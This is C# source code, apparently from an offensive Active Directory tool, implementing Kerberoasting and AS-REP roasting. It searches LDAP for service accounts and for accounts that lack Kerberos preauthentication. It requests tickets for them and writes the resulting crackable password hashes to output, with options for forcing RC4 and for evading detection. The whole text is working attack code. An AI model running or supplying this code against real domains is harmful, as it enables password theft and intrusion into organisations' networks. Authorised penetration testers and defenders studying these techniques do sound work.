public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } try { if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } int year = (int)pwdLastSet.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] = userPWDsetYears[year] + 1; } } catch { } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc); } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "") { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(domainController)) { Console.WriteLine("[*] Target DC : {0}", domainController); } Console.WriteLine(); if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) { // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly GetASRepHash(userName, domain, domainController, format, outFile); } else { DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", domainController); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items userSearcher.PageSize = 1000; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for AS-REP roastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for AS-REP roastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userSearchFilter = ""; if (String.IsNullOrEmpty(userName)) { userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("[X] No users found to AS-REP roast!"); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); Console.WriteLine("[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); GetASRepHash(samAccountName, domain, domainController, format, outFile); } } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message); } return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }